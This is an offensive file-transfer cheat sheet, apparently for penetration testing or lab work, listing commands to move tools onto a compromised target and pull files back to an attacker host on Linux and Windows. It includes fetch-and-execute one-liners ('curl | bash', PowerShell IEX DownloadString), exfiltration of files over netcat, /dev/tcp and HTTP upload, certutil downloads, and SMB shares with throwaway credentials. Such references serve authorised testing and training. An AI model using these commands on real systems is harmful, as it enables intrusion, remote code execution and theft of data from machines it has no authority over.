File transfer

Move tools to the target and pull files back, on Linux and Windows - HTTP, SMB, netcat, base64, /dev/tcp, certutil and more.

Your values Saved in this browser and applied to every cheatsheet.

Linux

Serve files from your machine

HTTP server in the current folder Attacker
python3 -m http.server 80

Download on the target

wget Target
wget http://10.10.14.5/linpeas.sh -O /tmp/linpeas.sh
curl Target
curl http://10.10.14.5/linpeas.sh -o /tmp/linpeas.sh
Run without touching disk Target
curl -s http://10.10.14.5/linpeas.sh | bash
Without curl or wget (bash only) Target
exec 3<>/dev/tcp/10.10.14.5/80; echo -e "GET /fichero HTTP/1.0\r\n\r\n" >&3; cat <&3 | sed '1,/^\r$/d' > /tmp/fichero
With Python Target
python3 -c 'import urllib.request as u; u.urlretrieve("http://10.10.14.5/fichero", "/tmp/fichero")'

Netcat

Receive on your machine Attacker
nc -lvnp 9001 > fichero
Send from the target Target
nc 10.10.14.5 9001 < /ruta/fichero
Send without nc Target
cat /ruta/fichero > /dev/tcp/10.10.14.5/9001

Copy and paste as base64

Encode
base64 -w0 fichero; echo
Decode on the other side
echo 'BASE64_PEGADO' | base64 -d > fichero
Check it arrived intact
md5sum fichero

Exfiltrate over HTTP

Server that accepts uploads Attacker
pip install uploadserver && python3 -m uploadserver 8000
Upload from the target Target
curl -F 'files=@/ruta/fichero' http://10.10.14.5:8000/upload

SSH

Upload and download with scp Attacker
scp fichero [email protected]:/tmp/
scp [email protected]:/ruta/fichero .

Windows

Download on the target

PowerShell Target
iwr http://10.10.14.5/fichero.exe -OutFile C:\Windows\Temp\fichero.exe
Older PowerShell Target
(New-Object Net.WebClient).DownloadFile('http://10.10.14.5/fichero.exe','C:\Windows\Temp\fichero.exe')
Load a script in memory Target
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/script.ps1')
certutil Target
certutil -urlcache -split -f http://10.10.14.5/fichero.exe C:\Windows\Temp\fichero.exe
curl (Windows 10+) Target
curl http://10.10.14.5/fichero.exe -o C:\Windows\Temp\fichero.exe

SMB

SMB share on your machine Attacker
impacket-smbserver share $(pwd) -smb2support
Copy from and to your share Target
copy \\10.10.14.5\share\fichero.exe C:\Windows\Temp\
copy C:\ruta\fichero \\10.10.14.5\share\
If Windows blocks guest access Attacker
impacket-smbserver share $(pwd) -smb2support -username pwn -password pwn
Mount the share with credentials Target
net use z: \\10.10.14.5\share /user:pwn pwn

Other ways

Upload and download with evil-winrm
upload /ruta/local/fichero.exe
download C:\ruta\fichero
Base64 in PowerShell Target
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\ruta\fichero"))
[IO.File]::WriteAllBytes("C:\Windows\Temp\fichero", [Convert]::FromBase64String("BASE64_PEGADO"))
Check the hash Target
Get-FileHash C:\Windows\Temp\fichero -Algorithm MD5